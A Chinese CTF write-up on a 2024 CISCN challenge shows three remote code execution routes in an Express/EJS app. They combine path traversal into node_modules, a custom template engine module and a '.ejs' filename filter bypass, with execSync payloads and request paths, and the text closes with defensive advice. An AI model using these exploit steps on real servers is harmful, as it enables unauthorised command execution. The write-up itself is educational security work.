对ejs引擎漏洞及函数特性的利用
字数 1666 2025-08-24 16:48:16

EJS引擎漏洞及函数特性利用分析

1. 漏洞背景

本文以2024 CISCN决赛ezjs题目为例,分析EJS模板引擎的多个漏洞利用方式。题目基于Node.js的Express框架,使用EJS作为模板引擎,存在多处安全漏洞可被利用实现远程代码执行(RCE)。

2. 题目架构分析

2.1 主要模块

  • Express框架
  • EJS模板引擎
  • express-session会话管理
  • multer文件上传处理
  • fs文件系统操作

2.2 关键路由功能

  1. 登录路由(/login)
  2. 文件上传路由(/upload)
  3. 文件渲染路由(/render)
  4. 文件重命名路由(/rename)

3. 漏洞点分析

3.1 漏洞点1: EJS自定义引擎加载机制

/render路由中,存在以下关键代码:

res.render(filePath);

EJS的渲染机制会:

  1. 根据文件扩展名查找对应的模板引擎
  2. 如果扩展名对应的模块存在,会尝试加载该模块
  3. 模块需要导出__express函数作为渲染引擎

3.2 漏洞点2: 文件上传过滤不严

multer配置中:

fileFilter: (req, file, cb) => {
    const fileExt = path.extname(file.originalname).toLowerCase();
    if (fileExt === '.ejs') {
        return cb(new Error('Upload of .ejs files is not allowed'), false);
    }
    cb(null, true);
}

使用path.extname()过滤.ejs文件,但存在绕过方式。

3.3 漏洞点3: 文件重命名路径穿越

/rename路由允许重命名文件,存在路径穿越可能:

const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);

4. 漏洞利用方法

4.1 方法一: 自定义模板引擎RCE

利用步骤:

  1. 上传恶意文件1.aaa,内容为:
exports.__express = function() {
    console.log(require('child_process').execSync("dir").toString());
}
  1. 通过/rename路由进行路径穿越,创建恶意模块:
/rename?oldPath=1.aaa&newPath=../node_modules/aaa/index.js
  1. 再次上传1.aaa文件(原文件已被移动)

  2. 访问渲染路由触发RCE:

/render?filename=1.aaa

原理:

  • EJS会根据文件扩展名.aaa尝试加载aaa模块
  • 通过路径穿越,我们创建了恶意aaa模块
  • 模块的__express函数被执行,实现命令执行

4.2 方法二: 无回显RCE

利用步骤:

  1. 创建恶意模块index.js
require('child_process').execSync("whoami > output.txt");
  1. 通过/rename路由放置到node_modules目录

  2. 访问/render?filename=1.aaa触发命令执行

  3. 查看output.txt获取命令执行结果

4.3 方法三: 绕过EJS文件上传限制

利用步骤:

  1. 上传文件名为.ejs的文件(注意不是x.ejs

    • path.extname(".ejs")返回空字符串,绕过检查
  2. 文件内容包含恶意EJS模板:

<%= process.mainModule.require('child_process').execSync('calc') %>
  1. 访问渲染路由时,使用特殊文件名绕过:
/render?filename=\\.ejs

原理:

  • path.extname()对没有点或点开头的文件名返回空
  • 使用反斜杠\分隔路径和文件名,确保正确解析

5. 关键函数分析

5.1 path.extname()行为

  • path.extname("x.ejs").ejs
  • path.extname(".ejs")""(空字符串)
  • path.extname("x.")"."
  • path.extname("x")""

5.2 EJS View类处理流程

  1. 获取文件扩展名:this.ext = extname(name)
  2. 如果扩展名为空,默认使用.ejs
  3. 尝试加载对应扩展名的模块:require(mod)
  4. 调用模块的__express方法进行渲染

5.3 require机制

  • Node.js的require会执行目标模块的代码
  • 模块可以通过exportsmodule.exports导出功能
  • 这是RCE能够实现的关键点

6. 防御建议

  1. 严格限制文件上传类型,使用白名单机制
  2. 禁用动态require,固定模板引擎
  3. 对用户提供的文件名进行严格校验,防止路径穿越
  4. 使用chroot或容器隔离文件系统访问
  5. 禁用危险函数如child_process.execSync

7. 总结

通过分析EJS模板引擎的加载机制和Node.js的模块系统,我们发现了三种不同的RCE利用方式。这些漏洞的核心在于:

  1. 动态加载用户控制的模板引擎
  2. 文件扩展名处理不一致
  3. 路径处理不当导致目录穿越

理解这些漏洞原理对于开发安全的Node.js应用至关重要。

EJS引擎漏洞及函数特性利用分析 1. 漏洞背景 本文以2024 CISCN决赛ezjs题目为例,分析EJS模板引擎的多个漏洞利用方式。题目基于Node.js的Express框架,使用EJS作为模板引擎,存在多处安全漏洞可被利用实现远程代码执行(RCE)。 2. 题目架构分析 2.1 主要模块 Express框架 EJS模板引擎 express-session会话管理 multer文件上传处理 fs文件系统操作 2.2 关键路由功能 登录路由( /login ) 文件上传路由( /upload ) 文件渲染路由( /render ) 文件重命名路由( /rename ) 3. 漏洞点分析 3.1 漏洞点1: EJS自定义引擎加载机制 在 /render 路由中,存在以下关键代码: EJS的渲染机制会: 根据文件扩展名查找对应的模板引擎 如果扩展名对应的模块存在,会尝试加载该模块 模块需要导出 __express 函数作为渲染引擎 3.2 漏洞点2: 文件上传过滤不严 multer配置中: 使用 path.extname() 过滤 .ejs 文件,但存在绕过方式。 3.3 漏洞点3: 文件重命名路径穿越 /rename 路由允许重命名文件,存在路径穿越可能: 4. 漏洞利用方法 4.1 方法一: 自定义模板引擎RCE 利用步骤: 上传恶意文件 1.aaa ,内容为: 通过 /rename 路由进行路径穿越,创建恶意模块: 再次上传 1.aaa 文件(原文件已被移动) 访问渲染路由触发RCE: 原理: EJS会根据文件扩展名 .aaa 尝试加载 aaa 模块 通过路径穿越,我们创建了恶意 aaa 模块 模块的 __express 函数被执行,实现命令执行 4.2 方法二: 无回显RCE 利用步骤: 创建恶意模块 index.js : 通过 /rename 路由放置到 node_modules 目录 访问 /render?filename=1.aaa 触发命令执行 查看 output.txt 获取命令执行结果 4.3 方法三: 绕过EJS文件上传限制 利用步骤: 上传文件名为 .ejs 的文件(注意不是 x.ejs ) path.extname(".ejs") 返回空字符串,绕过检查 文件内容包含恶意EJS模板: 访问渲染路由时,使用特殊文件名绕过: 原理: path.extname() 对没有点或点开头的文件名返回空 使用反斜杠 \ 分隔路径和文件名,确保正确解析 5. 关键函数分析 5.1 path.extname() 行为 path.extname("x.ejs") → .ejs path.extname(".ejs") → "" (空字符串) path.extname("x.") → "." path.extname("x") → "" 5.2 EJS View类处理流程 获取文件扩展名: this.ext = extname(name) 如果扩展名为空,默认使用 .ejs 尝试加载对应扩展名的模块: require(mod) 调用模块的 __express 方法进行渲染 5.3 require机制 Node.js的 require 会执行目标模块的代码 模块可以通过 exports 或 module.exports 导出功能 这是RCE能够实现的关键点 6. 防御建议 严格限制文件上传类型,使用白名单机制 禁用动态require,固定模板引擎 对用户提供的文件名进行严格校验,防止路径穿越 使用chroot或容器隔离文件系统访问 禁用危险函数如 child_process.execSync 7. 总结 通过分析EJS模板引擎的加载机制和Node.js的模块系统,我们发现了三种不同的RCE利用方式。这些漏洞的核心在于: 动态加载用户控制的模板引擎 文件扩展名处理不一致 路径处理不当导致目录穿越 理解这些漏洞原理对于开发安全的Node.js应用至关重要。